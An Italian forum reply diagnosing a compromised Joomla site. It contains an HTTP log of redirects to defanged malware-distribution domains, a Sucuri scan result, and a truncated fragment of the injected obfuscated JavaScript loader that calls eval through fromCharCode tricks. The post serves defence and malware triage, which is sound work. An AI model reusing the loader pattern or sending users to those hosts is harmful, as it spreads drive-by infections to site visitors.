stesso problema stesso attacker (probabilmente) del post dopo il tuo:
14:32:21.663[319ms][totale 319ms] Stato: 302[Moved Temporarily]
GET hxxp://qhibjmjlnpyovmbn.ru/runforestrun?sid=cx Azione[LOAD_DOCUMENT_URI ] Dimensioni del contenuto[-1] Mime Type[text/html]
Richiesta dell'intestazione:
Host[qhibjmjlnpyovmbn.ru]
User-Agent[Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[it-it,it;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Connection[keep-alive]
Referer[hxxp://www.paneeco.com/administrator/]
Risposta dell'intestazione:
X-Powered-By[Express]
Set-Cookie[u_17062012=yes; expires=Mon, 18 Jun 2012 16:49:32 GMT; httpOnly]
Content-Type[text/html]
Location[hxxp://dihdiwehibaksljdbfl.ipq.co/feed/xml.php?uid=12]
Connection[keep-alive]
Transfer-Encoding[chunked]
14:32:22.001[501ms][totale 501ms] Stato: 200[OK]
GET hxxp://dihdiwehibaksljdbfl.ipq.co/feed/xml.php?uid=12 Azione[LOAD_DOCUMENT_URI LOAD_REPLACE ] Dimensioni del contenuto[-1] Mime Type[text/html]
Richiesta dell'intestazione:
Host[dihdiwehibaksljdbfl.ipq.co]
User-Agent[Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[it-it,it;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Connection[keep-alive]
Referer[hxxp://www.paneeco.com/administrator/]
Risposta dell'intestazione:
Server[nginx]
Date[Sun, 17 Jun 2012 12:32:22 GMT]
Content-Type[text/html]
Transfer-Encoding[chunked]
Connection[keep-alive]
X-Powered-By[PHP/5.3.13]
Cache-Control[no-store, no-cache, must-revalidate]
Content-Encoding[gzip]
Se qualcuno più curioso vuole capirne di più e rimanere aggiornato sulla distribuzione di malware:
http://blog.sucuri.net/2012/06/sucuri-sitecheck-web-malware-distribution-may-2012.htmlMa utilizzando il link site check verrà eseguito un test antimalware.
Questo il test del tuo sito, ma fallo perchè ti dice cose interessanti:
web site:
www.paneeco.com/administrator/status: Site with warnings
web trust: Not Blacklisted
qs solo un pezzetto del malware:
Known javascript malware.
Details:
http://sucuri.net/malware/malware-entry-mwjs160function tableOrdering(a,b,c){var d=document.adminForm;d.filter_order.value=a;d.filter_order_Dir.value=b;submitform(c)}function saveorder(a,b){checkAll_button(a,b)}function checkAll_button(a,b){b||(b="saveorder");for(var c=0;c<=a;c++){var d=document.adminForm["cb"+c];if(d){if(d.checked==!1)d.checked=!0}else{alert("You cannot change the order of items, as an item in the list is `Checked Out`");return}}submitform(b)};/*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window["e"+"val"];Ti dice anche che è un malware conosciuto e ti dice di guardare al link boldato sopra dove credo troverai spiegazione di dove va a finire quel malware e cosa vuole e prob come rimuoverlo... può darsi non sia nel sito ma nel tuo pc con cui lo infetti.
M.
